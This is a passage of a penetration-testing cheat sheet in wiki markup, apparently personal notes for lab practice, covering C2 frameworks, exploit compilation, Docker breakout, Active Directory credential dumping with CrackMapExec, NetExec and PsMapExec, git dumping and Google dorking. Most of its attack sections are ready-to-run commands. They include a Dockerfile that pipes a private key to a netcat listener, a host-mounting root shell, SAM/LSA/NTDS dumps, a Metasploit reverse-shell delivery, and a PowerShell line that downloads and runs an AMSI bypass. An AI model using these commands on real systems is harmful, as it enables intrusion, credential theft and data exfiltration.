| Binary (DER)&lt;br /&gt;
| Storing certificates or private keys in binary format&lt;br /&gt;
| Used in environments where certificates or keys need to be in a compact, binary format&lt;br /&gt;
| Using a .der file to import a certificate in Windows or Java environments&lt;br /&gt;
|-&lt;br /&gt;
| .csr&lt;br /&gt;
| Certificate Signing Request&lt;br /&gt;
| Information about an entity requesting a certificate&lt;br /&gt;
| Text (usually PEM)&lt;br /&gt;
| Requesting an SSL/TLS certificate from a Certificate Authority (CA)&lt;br /&gt;
| Generating a .csr to request an SSL/TLS certificate from a CA like Let&#039;s Encrypt&lt;br /&gt;
| Creating a .csr file to obtain an SSL certificate for your website&lt;br /&gt;
|-&lt;br /&gt;
| .p7b or .p7c&lt;br /&gt;
| PKCS#7 Certificate File&lt;br /&gt;
| Certificates in chain (no private key)&lt;br /&gt;
| Base64 or Binary&lt;br /&gt;
| Sharing a certificate chain&lt;br /&gt;
| Importing a full certificate chain in environments like Java keystores&lt;br /&gt;
| Using a .p7b file to import a complete certificate chain into a Java KeyStore for a Tomcat server&lt;br /&gt;
|-&lt;br /&gt;
| .jks&lt;br /&gt;
| Java KeyStore&lt;br /&gt;
| Private keys and certificates&lt;br /&gt;
| Binary (JKS)&lt;br /&gt;
| Storing certificates and private keys in Java environments&lt;br /&gt;
| Storing certificates and keys for Java-based applications like Tomcat&lt;br /&gt;
| Using a .jks file to configure SSL/TLS in a Java application server like Tomcat&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Command and control - C2 framework ==&lt;br /&gt;
&lt;br /&gt;
=== Covenant ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/cobbr/Covenant&lt;br /&gt;
# Installation and running&lt;br /&gt;
git clone --recurse-submodules https://github.com/cobbr/Covenant&lt;br /&gt;
# Be sure to install the dotnet core version 3.1 SDK!&lt;br /&gt;
# Build and run convenant&lt;br /&gt;
$ ~ &amp;gt; git clone --recurse-submodules https://github.com/cobbr/Covenant&lt;br /&gt;
$ ~ &amp;gt; cd Covenant/Covenant&lt;br /&gt;
$ ~/Covenant/Covenant &amp;gt; dotnet run&lt;br /&gt;
warn: Microsoft.EntityFrameworkCore.Model.Validation[10400]&lt;br /&gt;
      Sensitive data logging is enabled. Log entries and exception messages may include sensitive application data, this mode should only be enabled during development.&lt;br /&gt;
WARNING: Running Covenant non-elevated. You may not have permission to start Listeners on low-numbered ports. Consider running Covenant elevated.&lt;br /&gt;
Covenant has started! Navigate to https://127.0.0.1:7443 in a browser&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell-empire (And starkiller) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/EmpireProject/Empire&lt;br /&gt;
# Installation and running&lt;br /&gt;
sudo ./setup/install.sh&lt;br /&gt;
# Or&lt;br /&gt;
sudo apt install powershell-empire&lt;br /&gt;
# Starkiller&lt;br /&gt;
# https://github.com/BC-SECURITY/Starkiller&lt;br /&gt;
# Starkiller is a Frontend for Powershell Empire.&lt;br /&gt;
# Change the permissions&lt;br /&gt;
chmod a+x starkiller-.AppImage&lt;br /&gt;
# Then execute&lt;br /&gt;
./starkiller-.AppImage --no-sandbox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Log location&lt;br /&gt;
~/.msf4/logs/framework.log&lt;br /&gt;
# DBMS used is postgresql.&lt;br /&gt;
# If IOError, check logs. If Postgresql, check the postgresql logs at:&lt;br /&gt;
/var/log/postgresql/...&lt;br /&gt;
# Initialize db&lt;br /&gt;
msfdb init # only if needed&lt;br /&gt;
# Metasploit location&lt;br /&gt;
/opt/metasploit-framework/embedded/framework/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Compiling exploits ==&lt;br /&gt;
&lt;br /&gt;
=== Compile .asm to elf ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nasm -f elf64 thm.asm&lt;br /&gt;
ld thm.o -o thm&lt;br /&gt;
./thm&lt;br /&gt;
THM,Rocks!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .cpp to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
i686-w64-mingw32-g++ -o test.exe challenge-8.cpp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .cs to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using csc&lt;br /&gt;
csc payload.cs&lt;br /&gt;
# Using mono - https://www.mono-project.com/&lt;br /&gt;
mcs payload.cs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
## Create 32-bit Windows executable with:&lt;br /&gt;
i686-w64-mingw32-gcc -o main32.exe main.c&lt;br /&gt;
## Create 64-bit Windows executable with:&lt;br /&gt;
x86_64-w64-mingw32-gcc -o main64.exe main.c&lt;br /&gt;
# Flags:&lt;br /&gt;
-lwsock32 and -lws2_32&lt;br /&gt;
# The -lwsock32 and -lws2_32 flags are linker flags used in programming to include the Winsock libraries for network programming on Windows. -lwsock32 includes the older version of the library, while -lws2_32 includes the updated version with additional features and improvements. These flags ensure that the necessary networking functions are available to the application during the linking stage of compilation.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c in linux using --static ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The -static option links a program statically, in other words it does not require a dependency on dynamic libraries at runtime in order to run.&lt;br /&gt;
gcc 45010.c -o exploit --static&lt;br /&gt;
&lt;br /&gt;
gcc 45010.c -o exploit -z execstack&lt;br /&gt;
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.&lt;br /&gt;
&lt;br /&gt;
-------------------------------&lt;br /&gt;
# If the above dont work, try this&lt;br /&gt;
gcc -o sh.elf sh.c -z execstack -static&lt;br /&gt;
upx --best --lzma -o shupx.elf ./sh.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c to 32-bit windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc exploit.c -m32 -o exploit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Docker - Privile Escalation ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation]&lt;br /&gt;
&lt;br /&gt;
=== Shell ===&lt;br /&gt;
&lt;br /&gt;
This will create a docker image, that you can run and get a shell with&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create a docker file&lt;br /&gt;
FROM alpine:latest&lt;br /&gt;
ENV WORKIDR /privesc&lt;br /&gt;
RUN mkdir -p $WORKDIR&lt;br /&gt;
VOLUME [ $WORKDIR]&lt;br /&gt;
WORKDIR $WORKDIR&lt;br /&gt;
# Build the docker container&lt;br /&gt;
docker build -t imagename .&lt;br /&gt;
# Now run the image with /bin/bash. -it means interactive and terminal&lt;br /&gt;
docker run -v /:/mountdir -it imagename /bin/bash&lt;br /&gt;
root@machine#&lt;br /&gt;
-----------------------------------------------&lt;br /&gt;
#List images to use one&lt;br /&gt;
docker images&lt;br /&gt;
#Run the image mounting the host disk and chroot on it&lt;br /&gt;
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash&lt;br /&gt;
# Get full access to the host via ns pid and nsenter cli&lt;br /&gt;
docker run -it --rm --pid=host --privileged ubuntu bash&lt;br /&gt;
nsenter --target 1 --mount --uts --ipc --net --pid -- bash&lt;br /&gt;
# Get full privs in container without --privileged&lt;br /&gt;
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Exfiltrate data ===&lt;br /&gt;
&lt;br /&gt;
See notes for Deployer&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find if there is an docker image running. Then create a dockerfile. This wil copy id_rsa.bak to tmp, and then send it to our netcat listener on port 80&lt;br /&gt;
shanah@deployer:/opt$ cat dockerfile&lt;br /&gt;
FROM alpine&lt;br /&gt;
COPY id_rsa.bak /tmp/id_rsa.bak&lt;br /&gt;
RUN cat /tmp/id_rsa.bak | nc 192.168.49.153 80&lt;br /&gt;
# After running the below command, look at your netcat listener.&lt;br /&gt;
shanah@deployer:/opt$ sudo /usr/bin/docker build -t imagename .&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Exec-Tools ==&lt;br /&gt;
&lt;br /&gt;
=== CrackMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://wiki.porchetta.industries/&lt;br /&gt;
# READ MORE IN THE LINK ABOVE!!!!&lt;br /&gt;
# SMB commands&lt;br /&gt;
# Obtaining creds&lt;br /&gt;
# Require Domain Admin or Local Admin&lt;br /&gt;
# Dump SAM&lt;br /&gt;
crackmapexec smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --sam&lt;br /&gt;
## Dump LSA&lt;br /&gt;
crackmapexec  smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --lsa&lt;br /&gt;
## Dump NTDS.dit&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds --users&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds --users --enabled&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds vss&lt;br /&gt;
## LPAS - If installed on the domain&lt;br /&gt;
crackmapexec smb  -u user-can-read-laps -p pass --laps&lt;br /&gt;
# LDAP&lt;br /&gt;
## Dump gMSA&lt;br /&gt;
crackmapexec ldap  -u  -p  --gmsa&lt;br /&gt;
## LAPS - If installed on the domain&lt;br /&gt;
crackmapexec ldap  -u user-can-read-laps -p pass -M laps&lt;br /&gt;
## Extract gMSA secrets&lt;br /&gt;
crackmapexec ldap  -u  -p  --gmsa-convert-id 313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724&lt;br /&gt;
rackmapexec ldap  -u  -p  --gmsa-decrypt-lsa &#039;_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724:01000000240200001000120114021c02fbb096d10991bb88c3f54e153807b4c1cc009d30bc3c50fd6f72c99a1e79f27bd0cbd4df69fdf08b5cf6fa7928cf6924cf55bfd8dd505b1da26ddf5695f5333dd07d08673029b01082e548e31f1ad16c67db0116c6ab0f8d2a0f6f36ff30b160b7c78502d5df93232f72d6397b44571d1939a2d18bb9c28a5a48266f52737c934669e038e22d3ba5a7ae63a608f3074c520201f372d740fddec77a8fed4ddfc5b63ce7c4643b60a8c4c739e0d0c7078dd0c2fcbc2849e561ea2de1af7a004b462b1ff62ab4d3db5945a6227a58ed24461a634b85f939eeed392cf3fe9359f28f3daa8cb74edb9eef7dd38f44ed99fa7df5d10ea1545994012850980a7b3becba0000d22d957218fb7297b216e2d7272a4901f65c93ee0dbc4891d4eba49dda5354b0f2c359f185e6bb943da9bcfbd2abda591299cf166c28cb36907d1ba1a8956004b5e872ef851810689cec9578baae261b45d29d99aef743f3d9dcfbc5f89172c9761c706ea3ef16f4b553db628010e627dd42e3717208da1a2902636d63dabf1526597d94307c6b70a5acaf4bb2a1bdab05e38eb2594018e3ffac0245fcdb6afc5a36a5f98f5910491e85669f45d02e230cb633a4e64368205ac6fc3b0ba62d516283623670b723f906c2b3d40027791ab2ae97a8c5c135aae85da54a970e77fb46087d0e2233d062dcd88f866c12160313f9e6884b510840e90f4c5ee5a032d40000f0650a4489170000f0073a9188170000&#039;&lt;br /&gt;
## List all PKI enrollment server&lt;br /&gt;
crackmapexec run ldap  -u user -p pass -M adcs&lt;br /&gt;
## Extract subnet&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network -o ONLY_HOSTS=true&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network -o ALL=true&lt;br /&gt;
# Username + Password + CMD command&lt;br /&gt;
crackmapexec mssql -d  -u  -p  -x &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Username + Hash + PS command&lt;br /&gt;
crackmapexec mssql -d  -u  -H  -X &#039;$PSVersionTable&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== NetExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/Pennyw0rth/NetExec&lt;br /&gt;
# This project was initially created in 2015 by @byt3bl33d3r, known as CrackMapExec. In 2019 @mpgn_x64 started maintaining the project for the next 4 years, adding a lot of great tools and features. In September 2023 he retired from maintaining the project.&lt;br /&gt;
# cheatsheet&lt;br /&gt;
https://www.netexec.wiki/&lt;br /&gt;
# General&lt;br /&gt;
netexec   -u username -p password&lt;br /&gt;
# Using modules&lt;br /&gt;
# List available modules&lt;br /&gt;
nxc smb -L&lt;br /&gt;
# View module options&lt;br /&gt;
nxc smb -M lsassy --options&lt;br /&gt;
# Using Kerberos&lt;br /&gt;
$ export KRB5CCNAME=/home/bonclay/impacket/administrator.ccache&lt;br /&gt;
$ nxc smb zoro.gold.local --use-kcache&lt;br /&gt;
$ export KRB5CCNAME=/home/bonclay/impacket/bonclay.ccache&lt;br /&gt;
$ sudo nxc smb zoro.gold.local --use-kcache -x whoami&lt;br /&gt;
# Send a local file to the remote target&lt;br /&gt;
nxc smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Get a remote file on the remote target&lt;br /&gt;
nxc smb 172.16.251.152 -u user -p pass --get-file  \\Windows\\Temp\\whoami.txt /tmp/whoami.txt&lt;br /&gt;
# Read LAPS&lt;br /&gt;
nxc smb  -u user-can-read-laps -p pass --laps&lt;br /&gt;
# Impersonate logged on user&lt;br /&gt;
# 1. Enumerate logged-on users on your Target&lt;br /&gt;
nxc smb  -u  -p  --loggedon-users&lt;br /&gt;
# 2. Execute commands on behalf of other users&lt;br /&gt;
nxc smb  -u  -p  -M schtask_as -o USER= CMD=&lt;br /&gt;
# Find Domain SID&lt;br /&gt;
$ nxc ldap DC1.scrm.local -u sqlsvc -p Pegasus60 -k --get-sid&lt;br /&gt;
# Kerberoasting&lt;br /&gt;
nxc ldap 192.168.0.104 -u harry -p pass --kerberoasting output.txt&lt;br /&gt;
# Unconstrained delegation - retrieve the list of all computers and users with the flag TRUSTED_FOR_DELEGATION&lt;br /&gt;
nxc ldap 192.168.0.104 -u harry -p pass --trusted-for-delegation&lt;br /&gt;
# Dump gMSA&lt;br /&gt;
$ nxc ldap  -u  -p  --gmsa&lt;br /&gt;
# Bloodhound ingenstor&lt;br /&gt;
nxc ldap  -u user -p pass --bloodhound -ns  --collection All&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Meterpreter using Invoke-metasploitpayload.ps1 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/Ethical-Hacking-Repos/Invoke-MetasploitPayload/blob/master/README.md&lt;br /&gt;
# https://www.netexec.wiki/smb-protocol/command-execution/getting-shells-101#meterpreter&lt;br /&gt;
# Meterpreter&lt;br /&gt;
# We can use the metinject module launch a meterpreter using Invoke-MetasploitPayload Invoke-MetasploitPayload.ps1 script.&lt;br /&gt;
# On your Metasploit instance, run the following commands&lt;br /&gt;
use exploit/multi/script/web_delivery&lt;br /&gt;
# The SRVHOST and SRVPORT variables are used for running the webserver to host the script&lt;br /&gt;
set SRVHOST 10.211.55&lt;br /&gt;
set SRVPORT 8443&lt;br /&gt;
# The target variable determines what type of script we&#039;re using. 2 is for PowerShell&lt;br /&gt;
set target 2&lt;br /&gt;
# Pick your payload. In this case, we&#039;ll use a reverse https meterpreter payload&lt;br /&gt;
set payload windows/meterpreter/reverse_https&lt;br /&gt;
set LHOST 10.211.55&lt;br /&gt;
set LPORT 443&lt;br /&gt;
# Run the exploit&lt;br /&gt;
run -j&lt;br /&gt;
# Once run, the web_delivery module will spin up the webserver to host the script and reverse listener for our meterpreter session.&lt;br /&gt;
msf exploit(web_delivery) &amp;gt; run -j&lt;br /&gt;
[*] Exploit running as background job.&lt;br /&gt;
[*] Started HTTPS reverse handler on https://10.211.55.4:8443/&lt;br /&gt;
[*] Using URL: http://10.211.55.4:8080/eYEssEwv2D&lt;br /&gt;
[*] Local IP: http://10.211.55.4:8080/eYEssEwv2D&lt;br /&gt;
[*] Server started.&lt;br /&gt;
# Then just run the met_inject module and specify the LHOST and LPORT values:&lt;br /&gt;
~ NetExec 192.168.10.0/24 -u username -p password -M met_inject -o SRVHOST=192.168.10.3 SRVPORT=8443 RAND=eYEssEwv2D SSL=http&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PsMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Cheathseet&lt;br /&gt;
https://viperone.gitbook.io/pentest-everything/psmapexec&lt;br /&gt;
https://github.com/The-Viper-One/PsMapExec&lt;br /&gt;
# A PowerShell tool heavily inspired by the popular tool CrackMapExec. Far too often I find myself on engagements without access to Linux in order to make use of CrackMapExec.&lt;br /&gt;
# PsMapExec is used as a post-exploitation tool to assess and compromise an Active Directory environment.&lt;br /&gt;
# Load directly into memory and attempt to bypass AV&lt;br /&gt;
# Invoke-NETMongoose.ps1 is an AMSI bypass&lt;br /&gt;
IEX(New-Object System.Net.WebClient).DownloadString(&amp;quot;https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1&amp;quot;);IEX(New-Object System.Net.WebClient).DownloadString(&amp;quot;https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# PsMapExec has some dependencies that need to be pulled from outside the script itself in order to function.&lt;br /&gt;
## Primarily these are:&lt;br /&gt;
### Kirby (PowerShell based Kerberos ticket dump)&lt;br /&gt;
### Invoke-Pandemonium (Slightly modified Mimikatz)&lt;br /&gt;
&lt;br /&gt;
# Examples&lt;br /&gt;
# Execute WMI commands over all systems in the domain using password authentication&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets All -Method WMI -Command &amp;quot;net user&amp;quot;&lt;br /&gt;
# Execute WinRM commands over all systems in the domain using hash authentication&lt;br /&gt;
PsMapExec -Username Admin -Hash [Hash] -Targets All -Method WinRM -Command &amp;quot;net user&amp;quot;&lt;br /&gt;
# Check RDP Access against workstations in the domain&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets Workstations -Method RDP&lt;br /&gt;
# Dump SAM on all servers in the domain using SMB&lt;br /&gt;
PsMapExec -Username [User] -Hash [Hash] -Targets Servers -Method SMB -Module SAM&lt;br /&gt;
# Check SMB Signing on all domain systems&lt;br /&gt;
PsMapExec -Targets All -Method GenRelayList&lt;br /&gt;
# Dump LogonPasswords on all Domain Controllers over SMB&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets DCs -Method SMB -Module LogonPasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== GIT ==&lt;br /&gt;
&lt;br /&gt;
See PG Hunit writeup&lt;br /&gt;
&lt;br /&gt;
=== Download .git ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir&lt;br /&gt;
./gitdumper.sh /.git/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extract .git content ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir&lt;br /&gt;
./extractor.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== GIT basic commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Stage the file for commit to your local repository by the following command. -A means add changes from all tracked and untracked files&lt;br /&gt;
git add -A&lt;br /&gt;
# Configure who you are in order to commit&lt;br /&gt;
git config --global user.email &amp;quot;you@example.com&amp;quot;&lt;br /&gt;
git config --global user.name &amp;quot;Your Name&amp;quot;&lt;br /&gt;
# The git commit command **captures a snapshot of the project&#039;s currently staged changes**.&lt;br /&gt;
git commit -m &amp;quot;This is a message&amp;quot;&lt;br /&gt;
#  Push your changes to the remote server. &amp;quot;master&amp;quot; refers to master branch in your repository.&lt;br /&gt;
git push origin master&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  ===&lt;br /&gt;
&lt;br /&gt;
=== GIT_SSH_COMMAND ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# GIT_SSH_COMMAND&lt;br /&gt;
# If either of these environment variables is set then _git fetch_ and _git push_ will use the specified command instead of _ssh_ when they need to connect to a remote system.&lt;br /&gt;
# Below command will SSH to user git at 192.168.243.124 and clone the repo from /git-server&lt;br /&gt;
GIT_SSH_COMMAND=&#039;ssh -i id_rsa -p 43022&#039; git clone git@192.168.243.125:/git-server&lt;br /&gt;
# This command wil SSH to user git and push the changes to the remote server.&lt;br /&gt;
GIT_SSH_COMMAND=&#039;ssh -i id_rsa -p 43022&#039; git push origin master&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== GitLeaks - Scan repos for secrets ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/zricethezav/gitleaks&lt;br /&gt;
gitleaks detect --source . -v&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Google Dorking ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://dorksearch.com/&lt;br /&gt;
site:target[.]com ext:php inurl:?&lt;br /&gt;
site:target.tld intitle:&amp;quot;index of /&amp;quot; #  intitle:&amp;quot;index of /&amp;quot;: This searches for pages with “index of /” in their title. The “index of /” is typically shown in the title of directory listings on servers where directory browsing is enabled. It allows you to see a raw directory of files hosted on a server.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Search operators ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/chr3st5an/Google-Dorking GitHub - chr3st5an/Google-Dorking: Google Dorking Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Operator&lt;br /&gt;
! Description&lt;br /&gt;
! Syntax&lt;br /&gt;
! Example&lt;br /&gt;
|-&lt;br /&gt;
| ()&lt;br /&gt;
| Group multiple terms or operators. Allows advanced expressions&lt;br /&gt;
| (&amp;lt;term&amp;gt; or &amp;lt;operator&amp;gt;)&lt;br /&gt;
| inurl:(html | php)&lt;br /&gt;
|-&lt;br /&gt;
| *&lt;br /&gt;
| Wildcard. Matches any word&lt;br /&gt;
| &amp;lt;text&amp;gt; * &amp;lt;text&amp;gt;&lt;br /&gt;
| How to * a computer&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;&amp;quot;&lt;br /&gt;
| The given keyword has to match exactly. case-insensitive&lt;br /&gt;
| &amp;quot;&amp;lt;keywords&amp;gt;&amp;quot;&lt;br /&gt;
| &amp;quot;google&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| m..n / m...n&lt;br /&gt;
| Search for a range of numbers. n should be greater than m&lt;br /&gt;
| &amp;lt;number&amp;gt;..&amp;lt;number&amp;gt;&lt;br /&gt;
| 1..100&lt;br /&gt;
|-&lt;br /&gt;
| -&lt;br /&gt;
| Documents that match the operator are excluded. NOT-Operator&lt;br /&gt;
| -&amp;lt;operator&amp;gt;&lt;br /&gt;
| -site:youtube.com&lt;br /&gt;
|-&lt;br /&gt;
| +&lt;br /&gt;
| Include documents that match the operator&lt;br /&gt;
| +&amp;lt;operator&amp;gt;&lt;br /&gt;
| +site:youtube.com&lt;br /&gt;
|-&lt;br /&gt;
| |&lt;br /&gt;
| Logical OR-Operator. Only one operator needs to match in order for the overall expression to match&lt;br /&gt;
| &amp;lt;operator&amp;gt; | &amp;lt;operator&amp;gt;&lt;br /&gt;
| &amp;quot;google&amp;quot; | &amp;quot;yahoo&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| ~&lt;br /&gt;
| Search for synonyms of the given word. Not supported by Google&lt;br /&gt;
| ~&amp;lt;word&amp;gt;&lt;br /&gt;
| ~book&lt;br /&gt;
|-&lt;br /&gt;
| @&lt;br /&gt;
| Perform a search only on the given social media platform. Rather use site&lt;br /&gt;
| @&amp;lt;socialmedia&amp;gt;&lt;br /&gt;
| @instagram&lt;br /&gt;
|-&lt;br /&gt;
| after&lt;br /&gt;
| Search for documents published / indexed after the given date&lt;br /&gt;
| after:&amp;lt;yy(-mm-dd)&amp;gt;&lt;br /&gt;
| after:2020-06-03&lt;br /&gt;
|-&lt;br /&gt;
| allintitle&lt;br /&gt;
| Same as intitle but allows multiple keywords seperated by a space&lt;br /&gt;
| allintitle:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allintitle:dog cat&lt;br /&gt;
|-&lt;br /&gt;
| allinurl&lt;br /&gt;
| Same as inurl but allows multiple keywords seperated by a space&lt;br /&gt;
| allinurl:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allinurl:search com&lt;br /&gt;
|-&lt;br /&gt;
| allintext&lt;br /&gt;
| Same as intext but allows multiple keywords seperated by a space&lt;br /&gt;
| allintext:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allintext:math science university&lt;br /&gt;
|-&lt;br /&gt;
| AROUND&lt;br /&gt;
| Search for documents in which the first word is up to n words away from the second word and vice versa&lt;br /&gt;
| &amp;lt;word1&amp;gt; AROUND(&amp;lt;n&amp;gt;) &amp;lt;word2&amp;gt;&lt;br /&gt;
| google AROUND(10) good&lt;br /&gt;
|-&lt;br /&gt;
| author&lt;br /&gt;
| Search for articles written by the given author if applicable&lt;br /&gt;
| author:&amp;lt;name&amp;gt;&lt;br /&gt;
| author:Max&lt;br /&gt;
|-&lt;br /&gt;
| before&lt;br /&gt;
| Search for documents published / indexed before the given date&lt;br /&gt;
| before:&amp;lt;yy(-mm-dd)&amp;gt;&lt;br /&gt;
| before:2020-06-03&lt;br /&gt;
|-&lt;br /&gt;
| cache&lt;br /&gt;
| Search on the cached version of the given website. Uses Google&#039;s cache to do so&lt;br /&gt;
| cache:&amp;lt;domain&amp;gt;&lt;br /&gt;
| cache:google.com&lt;br /&gt;
